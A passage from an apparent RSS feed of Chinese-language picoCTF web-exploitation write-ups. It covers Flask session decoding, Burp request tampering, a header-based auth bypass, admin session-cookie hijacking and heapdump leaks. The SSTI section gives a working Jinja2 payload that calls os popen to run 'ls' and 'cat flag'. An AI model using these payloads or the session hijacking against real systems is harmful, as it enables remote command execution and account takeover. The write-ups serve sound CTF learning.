style="color:#a6e22e">password</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;password&#34;</span>; </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#a6e22e">usernameFilterPassed</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">filter</span>(window.<span style="color:#a6e22e">username</span>); </span></span><span style="display:flex;"><span> <span style="color:#a6e22e">passwordFilterPassed</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">filter</span>(window.<span style="color:#a6e22e">password</span>); </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#a6e22e">usernameFilterPassed</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">passwordFilterPassed</span> ) { </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#a6e22e">loggedIn</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">checkPassword</span>(window.<span style="color:#a6e22e">username</span>, window.<span style="color:#a6e22e">password</span>); </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">loggedIn</span>) </span></span><span style="display:flex;"><span> { </span></span><span style="display:flex;"><span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;msg&#39;</span>).<span style="color:#a6e22e">innerHTML</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Log In Successful&#34;</span>; </span></span><span style="display:flex;"><span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;adminFormHash&#39;</span>).<span style="color:#a6e22e">value</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;2196812e91c29df34f5e217cfd639881&#34;</span>; </span></span><span style="display:flex;"><span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;hiddenAdminForm&#39;</span>).<span style="color:#a6e22e">submit</span>(); </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span> </span></span><span style="display:flex;"><span> { </span></span><span style="display:flex;"><span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;msg&#39;</span>).<span style="color:#a6e22e">innerHTML</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Log In Failed&#34;</span>; </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span> { </span></span><span style="display:flex;"><span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;msg&#39;</span>).<span style="color:#a6e22e">innerHTML</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Illegal character in username or password.&#34;</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> &lt;/<span style="color:#f92672">script</span>&gt; </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> &lt;/<span style="color:#f92672">body</span>&gt; </span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt; </span></span></code></pre></td></tr></table> </div> </div><p>點開 <code>secure.js</code> 查看為以下內容，有包含正確的帳號密碼，輸入即可得到 flag。</p>https://picoctf-writeup.pinjim.dev/posts/web-exploitation/bookmarklet/Wed, 01 Jul 2026 17:20:00 +0800https://picoctf-writeup.pinjim.dev/posts/web-exploitation/bookmarklet/<h2 id="題目連結">題目連結</h2> <p><a href="https://learn.cylabacademy.org/library/406">https://learn.cylabacademy.org/library/406</a></p> <h2 id="題目解法">題目解法</h2> <ol> <li>進入網站後點選畫面上的程式碼，可以複製一段 JavaScript 腳本，按下 F12 開啟開發者工具，選取 console 並且貼上剛剛的程式碼，即可得到 flag。 <img alt="網頁截圖" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/bookmarklet/website.webp"></li> </ol>https://picoctf-writeup.pinjim.dev/posts/web-exploitation/introtoburp/Fri, 08 May 2026 21:00:00 +0800https://picoctf-writeup.pinjim.dev/posts/web-exploitation/introtoburp/<h2 id="題目連結">題目連結</h2> <p><a href="https://learn.cylabacademy.org/library/419">https://learn.cylabacademy.org/library/419</a></p> <h2 id="題目解法">題目解法</h2> <p>啟動題目後開啟 Burp Suite 並開啟他的瀏覽器，隨意註冊帳號並送出，題目會要求輸入 OTP，開啟 Brup Suite 的 Proxy 頁面並啟動 intercept。隨意送出一個 otp 後查看攔截到的請求，會有一段 <code>Cookie: session</code>。 <img alt="brupsuite" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/introtoburp/brupsuite.webp"></p> <pre tabindex="0"><code>Cookie: session=.eJxVjMsOwiAURP-FtYtWHuX6Ee5dEeBCbCzQ8EhjjP_udWPibs6ZzLyYX_uTXdj1xk7MtxpNL4-QyQBKLzg6LQSESS_CInoHs7JcOsetBFh0VEC7OLbNZJsCzSymNZMrfSfSILWQhLtt7SgVyf0i2XvJweSRXKjUTPOZC6kW_T0dLdS_z_cHspM0ng.af3ngw.AmwUYp3JlxixMAMPGGJxaFRDeos </code></pre><p>這個是 Flask Session Cookie 的格式，主要分成三段資料，依序是<strong>內容物 (Payload)、時間戳 (Timestamp)、簽章 (Signature)</strong>，假設是 <code>e</code> 開頭的可以直接使用 base64 解碼，假設是使用 <code>.e</code> 開頭代表有壓縮過，要透過 <code>flask-unsign</code> 才可以解碼。</p> <pre tabindex="0"><code>$ flask-unsign --decode --cookie &#34;.eJxVjMsOwiAURP-FtYtWHuX6Ee5dEeBCbCzQ8EhjjP_udWPibs6ZzLyYX_uTXdj1xk7MtxpNL4-QyQBKLzg6LQSESS_CInoHs7JcOsetBFh0VEC7OLbNZJsCzSymNZMrfSfSILWQhLtt7SgVyf0i2XvJweSRXKjUTPOZC6kW_T0dLdS_z_cHspM0ng.af3ngw.AmwUYp3JlxixMAMPGGJxaFRDeos&#34; {&#39;city&#39;: &#39;NY&#39;, &#39;csrf_token&#39;: &#39;9d5c43db8449e0874addcb916a35bb3a59978f69&#39;, &#39;full_name&#39;: &#39;admin&#39;, &#39;otp&#39;: &#39;895845&#39;, &#39;password&#39;: &#39;password&#39;, &#39;phone_number&#39;: &#39;0123456789&#39;, &#39;username&#39;: &#39;admin&#39;} </code></pre><p>解碼後可以發現 <code>'otp': '895845'</code>，將請求修改成 <code>otp=895845</code> 送出即可得到 flag。 <img alt="flag" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/introtoburp/flag.webp"></p> <pre tabindex="0"><code>picoCTF{#0T----------------------d21} </code></pre>https://picoctf-writeup.pinjim.dev/posts/web-exploitation/unminify/Fri, 08 May 2026 19:30:00 +0800https://picoctf-writeup.pinjim.dev/posts/web-exploitation/unminify/<h2 id="題目連結">題目連結</h2> <p><a href="https://learn.cylabacademy.org/library/426">https://learn.cylabacademy.org/library/427</a></p> <h2 id="題目解法">題目解法</h2> <p>開啟網站後，按下 Ctrl + u 即可查看網頁原始碼，內容如下</p> <div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"> <table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 </span></code></pre></td> <td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!doctype html&gt;</span>&lt;<span style="color:#f92672">html</span> <span style="color:#a6e22e">lang</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;en&#34;</span>&gt;&lt;<span style="color:#f92672">head</span>&gt;&lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;utf-8&#34;</span>&gt;&lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;viewport&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;width=device-width,initial-scale=1&#34;</span>&gt;&lt;<span style="color:#f92672">title</span>&gt;picoCTF - picoGym | Unminify Challenge&lt;/<span style="color:#f92672">title</span>&gt;&lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;icon&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;image/png&#34;</span> <span style="color:#a6e22e">sizes</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;32x32&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/favicon-32x32.png&#34;</span>&gt;&lt;<span style="color:#f92672">style</span>&gt;<span style="color:#f92672">body</span>{<span style="color:#66d9ef">font-family</span>:<span style="color:#e6db74">&#34;Lucida Console&#34;</span>,Monaco,<span style="color:#66d9ef">monospace</span>}<span style="color:#f92672">h1</span><span style="color:#f92672">,</span><span style="color:#f92672">p</span>{<span style="color:#66d9ef">color</span>:<span style="color:#ae81ff">#000</span>}&lt;/<span style="color:#f92672">style</span>&gt;&lt;/<span style="color:#f92672">head</span>&gt;&lt;<span style="color:#f92672">body</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;picoctf{}&#34;</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;margin:0&#34;</span>&gt;&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;picoctf{}&#34;</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;margin:0;padding:0;background-color:#757575;display:auto;height:40%&#34;</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;picoctf{}&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/&#34;</span>&gt;&lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;picoctf-logo-horizontal-white.svg&#34;</span> <span style="color:#a6e22e">alt</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;picoCTF logo&#34;</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;display:inline-block;width:160px;height:90px;padding-left:30px&#34;</span>&gt;&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">div</span>&gt;&lt;<span style="color:#f92672">center</span>&gt;&lt;<span style="color:#f92672">br</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;picoctf{}&#34;</span>&gt;&lt;<span style="color:#f92672">br</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;picoctf{}&#34;</span>&gt;&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;picoctf{}&#34;</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;padding-top:30px;border-radius:3%;box-shadow:0 5px 10px #0000004d;width:50%;align-self:center&#34;</span>&gt;&lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;picoctf{}&#34;</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;hero.svg&#34;</span> <span style="color:#a6e22e">alt</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;flag art&#34;</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;width:150px;height:150px&#34;</span>&gt;&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;picoctf{}&#34;</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;width:85%&#34;</span>&gt;&lt;<span style="color:#f92672">h2</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;picoctf{}&#34;</span>&gt;Welcome to my flag distribution website!&lt;/<span style="color:#f92672">h2</span>&gt;&lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;picoctf{}&#34;</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;width:70%&#34;</span>&gt;&lt;<span style="color:#f92672">p</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;picoctf{}&#34;</span>&gt;If you&#39;re reading this, your browser has succesfully received the flag.&lt;/<span style="color:#f92672">p</span>&gt;&lt;<span style="color:#f92672">p</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;picoCTF{pr3--------------82e}&#34;</span>&gt;&lt;/<span style="color:#f92672">p</span>&gt;&lt;<span style="color:#f92672">p</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;picoctf{}&#34;</span>&gt;I just deliver flags, I don&#39;t know how to read them...&lt;/<span style="color:#f92672">p</span>&gt;&lt;/<span style="color:#f92672">div</span>&gt;&lt;/<span style="color:#f92672">div</span>&gt;&lt;<span style="color:#f92672">br</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;picoctf{}&#34;</span>&gt;&lt;/<span style="color:#f92672">div</span>&gt;&lt;/<span style="color:#f92672">center</span>&gt;&lt;/<span style="color:#f92672">body</span>&gt;&lt;/<span style="color:#f92672">html</span>&gt; </span></span></code></pre></td></tr></table> </div> </div><p>即可找到 flag。</p> <pre tabindex="0"><code>picoCTF{pr3--------------82e} </code></pre>https://picoctf-writeup.pinjim.dev/posts/web-exploitation/crack-the-gate-1/Wed, 06 May 2026 23:00:00 +0800https://picoctf-writeup.pinjim.dev/posts/web-exploitation/crack-the-gate-1/<h2 id="題目連結">題目連結</h2> <p><a href="https://learn.cylabacademy.org/library/520">https://learn.cylabacademy.org/library/520</a></p> <h2 id="題目解法">題目解法</h2> <p>在題目網站的原始碼中，有一行註解</p> <pre tabindex="0"><code>&lt;!-- ABGR: Wnpx - grzcbenel olcnff: hfr urnqre &#34;K-Qri-Npprff: lrf&#34; --&gt; </code></pre><p>使用 ROT 13 解碼後如下</p> <pre tabindex="0"><code>&lt;!-- NOTE: Jack - temporary bypass: use header &#34;X-Dev-Access: yes&#34; --&gt; </code></pre><p>根據這行註解提示得知，在 header 中加上 <code>X-Dev-Access: yes</code> 就可以跨過驗證。</p> <p>我們開啟 burpsuite 來攔截修改請求，開啟 intercept，當輸入完帳密後，將請求中加上 <code>X-Dev-Access: yes</code> 後送出，回應中就能夠看到 flag。 <img alt="burpsuite 攔截請求" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/crack-the-gate-1/intercept.webp"> <img alt="回應結果" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/crack-the-gate-1/result.webp"></p>https://picoctf-writeup.pinjim.dev/posts/web-exploitation/head-dump/Sun, 03 May 2026 00:20:00 +0800https://picoctf-writeup.pinjim.dev/posts/web-exploitation/head-dump/<h2 id="題目連結">題目連結</h2> <p><a href="https://learn.cylabacademy.org/library/476">https://learn.cylabacademy.org/library/476</a></p> <h2 id="題目解法">題目解法</h2> <ol> <li> <p>啟動網站後查看原始碼可以發現有一個 <code>/api-docs</code> 的頁面。 <img alt="原始碼" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/head-dump/sourcescode.webp"></p> </li> <li> <p>發現最下面有一個 <code>/heapdump</code> 的 api，按下 Try it out，並按下 Execute，之後將 Response body 下載下來，以文字編輯器打開即可得到 flag。 <img alt="api" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/head-dump/api.webp"> <img alt="execute" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/head-dump/execute.webp"></p> <p>下載後開啟檔案 <code>heapdump-1777741477740.heapsnapshot</code>： <img alt="response body" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/head-dump/responsebody.webp"></p> <pre tabindex="0"><code>picoCTF{Pat---------------------6ba} </code></pre></li> </ol>https://picoctf-writeup.pinjim.dev/posts/web-exploitation/ssti1/Sun, 03 May 2026 00:20:00 +0800https://picoctf-writeup.pinjim.dev/posts/web-exploitation/ssti1/<h2 id="題目連結">題目連結</h2> <p><a href="https://learn.cylabacademy.org/library/492">https://learn.cylabacademy.org/library/492</a></p> <h2 id="題目解法">題目解法</h2> <ol> <li> <p>題目標題是 SSTI，因此啟動網站後我們嘗試輸入 <code>{{ 7*7 }}</code>，結果顯示 <code>49</code>，表示存在 SSTI 漏洞，且可能是 Python/Jinja2 或 PHP/Twig。</p> <pre tabindex="0"><code>{{ 7*7 }} </code></pre><p><img alt="input 7*7" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/ssti1/pocInput.webp"> <img alt="output 49" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/ssti1/pocOutput.webp"></p> </li> <li> <p>輸入 <code>{{ 7*'7' }}</code> 輸出 <code>7777777</code> 確定是 Python/Jinja2。</p> <pre tabindex="0"><code>{{ 7*&#39;7&#39; }} </code></pre><p><img alt="output 7777777" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/ssti1/pocOutput2.webp"></p> </li> <li> <p>接著我們要嘗試尋找到 <code>os</code> 模組，輸入以下內容可以把目前記憶體中所有從 object 繼承而來的類別全部列出來。會輸出非常多內容，我們要嘗試找到 <code>os._wrap_close</code>，搜尋後發現他是第 132 個（從 0 開始）。</p> <pre tabindex="0"><code>{{ [].__class__.__base__.__subclasses__() }} </code></pre><p><img alt="subclasses output" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/ssti1/subclassesOut.webp"></p> </li> <li> <p>使用以下指令就能夠執行 linux 指令，找到 flag 並讀取它。 用 <code>ls</code> 列出當前目錄下的檔案：</p> <pre tabindex="0"><code>{{ &#34;&#34;.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[&#39;popen&#39;](&#39;ls&#39;).read() }} </code></pre><p><img alt="ls output" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/ssti1/ls.webp"></p> <p>用 <code>cat</code> 讀取 <code>flag</code>：</p> <pre tabindex="0"><code>{{ &#34;&#34;.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[&#39;popen&#39;](&#39;cat flag&#39;).read() }} </code></pre><p><img alt="cat flag output" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/ssti1/cat.webp"></p> <pre tabindex="0"><code>picoCTF{s4r-------------------------------------------533} </code></pre></li> </ol>https://picoctf-writeup.pinjim.dev/posts/web-exploitation/webdecode/Sun, 03 May 2026 00:20:00 +0800https://picoctf-writeup.pinjim.dev/posts/web-exploitation/webdecode/<h2 id="題目連結">題目連結</h2> <p><a href="https://learn.cylabacademy.org/library/427">https://learn.cylabacademy.org/library/427</a></p> <h2 id="題目解法">題目解法</h2> <ol> <li> <p>前往網站後，發現 <code>about</code> 頁面寫著 &ldquo;Try inspecting the page!! You might find it there&rdquo;，使用 <code>Ctrl + U</code> 查看頁面原始碼。 <img alt="about 頁面" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/webdecode/about.webp"></p> </li> <li> <p>原始碼頁面中有其中一行很可疑，使用 base64 解碼即可得到 flag。</p> </li> </ol> <pre tabindex="0"><code>&lt;section class=&#34;about&#34; notify_true=&#34;cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfMDdiOTFjNzl9&#34;&gt; </code></pre><p><img alt="頁面原始碼" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/webdecode/code.webp"></p> <pre tabindex="0"><code>picoCTF{web---------------------------c79} </code></pre>https://picoctf-writeup.pinjim.dev/posts/web-exploitation/cookie-monster-secret-recipe/Sat, 02 May 2026 23:00:00 +0800https://picoctf-writeup.pinjim.dev/posts/web-exploitation/cookie-monster-secret-recipe/<h2 id="題目連結">題目連結</h2> <p><a href="https://learn.cylabacademy.org/library/469">https://learn.cylabacademy.org/library/469</a></p> <h2 id="題目解法">題目解法</h2> <ol> <li> <p>啟動挑戰後隨便輸入一組帳密，之後按下 <code>F12</code> 查看開發者工具的 Appilaction 中的 Cookies。 <img alt="cookies" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/cookie-monster-secret-recipe/cookies.webp"></p> </li> <li> <p>將 Cookies 的值用 URL decode 加上 base64 解碼後即可得到 flag。 <img alt="decode" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/cookie-monster-secret-recipe/cyberchef.webp"></p> <pre tabindex="0"><code>picoCTF{c00-------------------------------ED1} </code></pre></li> </ol>https://picoctf-writeup.pinjim.dev/posts/web-exploitation/old-sessions/Fri, 24 Apr 2026 23:35:00 +0800https://picoctf-writeup.pinjim.dev/posts/web-exploitation/old-sessions/<h2 id="題目連結">題目連結</h2> <p><a href="https://learn.cylabacademy.org/library/739">https://learn.cylabacademy.org/library/739</a></p> <h2 id="題目解法">題目解法</h2> <ol> <li> <p>進入網頁後，先隨便建立一組帳密並登入。登入後再主頁面可以看到多人的留言，其中 &ldquo;mary_jones_8992&rdquo; 留言 &ldquo;Hey I found a strange page at /sessions&rdquo;，如圖片所示。<br> <img alt="Homepage" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/old-sessions/homepage.webp"></p> </li> <li> <p>前往 <code>/sessions</code> 頁面後，可以看到此頁面存了個使用者的 session data，包含 admin 的。<br> <img alt="Sessions" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/old-sessions/sessions.webp"></p> </li> <li> <p>開啟瀏覽器的開發者工具，將 admin 的 session data 複製下來，點選 Application （有些瀏覽器叫做 storage），找到 Cookies，將 session 換成 <code>/sessions</code> 頁面中 admin 的 session data。<br> <img alt="Cookies" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/old-sessions/cookies.webp"></p> </li> <li> <p>重新整理頁面後，就會變成 admin 身分，畫面上就出現 flag 了。<br> <img alt="Flag" loading="lazy" src="https://picoctf-writeup.pinjim.dev/posts/web-exploitation/old-sessions/flag.webp"></p> </li> </ol> <h2 id="通靈解法">通靈解法</h2> <p>我解 CTF 題目時習慣性會直接在登入頁面輸入帳號 <code>admin</code> 密碼 <code>password</code> 來登入看看，結果第一次解這題時，這題 admin 的帳密剛好就是這組，害我第一次就直接就登進去看到 flag。</p>